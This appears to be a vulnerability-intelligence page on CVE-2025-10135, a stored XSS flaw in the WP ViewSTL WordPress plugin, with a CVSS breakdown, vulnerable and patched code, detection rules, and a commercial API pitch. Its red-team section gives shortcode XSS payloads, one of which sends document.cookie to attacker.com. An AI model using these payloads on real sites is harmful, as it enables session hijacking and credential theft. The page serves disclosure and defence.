☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10135

CVE-2025-10135 Cross-Site Scripting in Wp viewstl
📅 PUBLISHED: 2025-10-15 08:25 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10135 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP ViewSTL plugin for WordPress. The flaw resides in the plugin's viewstl shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability affects all versions up to and including 1.0. No patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. Users should monitor for updates and consider removing the plugin if no patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: Required (victim visits page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with Contributor privileges, but the stored XSS can affect all users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the viewstl shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., url, width, height). These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with Contributor-level access can create a post or page containing a malicious shortcode like:

[viewstl url="javascript:alert('XSS')" width="100" height="100"]

When the shortcode is processed, the url attribute is inserted directly into the HTML without escaping, allowing JavaScript execution. The stored XSS persists in the database and executes for every visitor.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of esc_attr() or wp_kses() filtering on shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0):

function viewstl_shortcode($atts) {
    $a = shortcode_atts( array(
        'url' => '',
        'width' => '800',
        'height' => '600',
    ), $atts );
    return '<iframe src="' . $a['url'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe>';
}
add_shortcode('viewstl', 'viewstl_shortcode');

Patched Code (hypothetical fix):

function viewstl_shortcode($atts) {
    $a = shortcode_atts( array(
        'url' => '',
        'width' => '800',
        'height' => '600',
    ), $atts );
    $safe_url = esc_url($a['url']);
    $safe_width = intval($a['width']);
    $safe_height = intval($a['height']);
    return '<iframe src="' . $safe_url . '" width="' . $safe_width . '" height="' . $safe_height . '"></iframe>';
}
add_shortcode('viewstl', 'viewstl_shortcode');

The fix uses esc_url() to sanitize the URL and intval() to ensure numeric values for width/height.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with WP ViewSTL plugin version <= 1.0
  • Contributor-level account or higher

Steps:

  1. Log in as a Contributor.
  2. Create a new post or page.
  3. Insert the following shortcode with a malicious payload:
    [viewstl url="javascript:alert(document.cookie)" width="100" height="100"]
    
  4. Publish the post.
  5. When an administrator or any user visits the post, the JavaScript executes.

Advanced Payload:

[viewstl url="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" width="100" height="100"]

Blue Team (Defense & Detection)

Detection:

  • Monitor for posts/pages containing the [viewstl shortcode with suspicious attributes.
  • Use WAF rules to block javascript: URIs in shortcode attributes.
  • Review user activity logs for Contributor-level users creating posts with unusual shortcodes.

Prevention:

  • Disable the WP ViewSTL plugin until a patch is available.
  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline JavaScript.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-viewstl/viewstl.php (vulnerable file)
  • Shortcode pattern: [viewstl url="javascript:*"] or [viewstl url="data:*"]
  • HTTP request: POST to /wp-admin/post.php with post_content containing [viewstl
  • Log entry: Suspicious shortcode usage in post content by non-admin users

Detection Engineering

YARA Rule

rule wp_viewstl_stored_xss {
    meta:
        description = "Detects malicious shortcode attributes in WP ViewSTL plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-10135"
    strings:
        $shortcode = "[viewstl" nocase
        $javascript = "javascript:" nocase
        $data_uri = "data:" nocase
    condition:
        $shortcode and ($javascript or $data_uri)
}

Sigma Rule

title: WP ViewSTL Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP ViewSTL shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-admin/post.php'
        http.body|contains: '[viewstl'
        http.body|contains|any:
            - 'javascript:'
            - 'data:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WP ViewSTL Stored XSS Attempt"; flow:to_server,established; content:"[viewstl"; http_client_body; content:"javascript:"; http_client_body; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Review all posts/pages for malicious shortcode usage.
  3. Reset passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

  • Apply the vendor patch when available.
  • Implement input validation and output escaping for all shortcode attributes.
  • Use WordPress coding standards (e.g., esc_url(), intval()).

Workarounds:

  • Use a Web Application Firewall (WAF) to block javascript: URIs in shortcode attributes.
  • Restrict shortcode usage to administrators only via current_user_can() checks.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10135/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.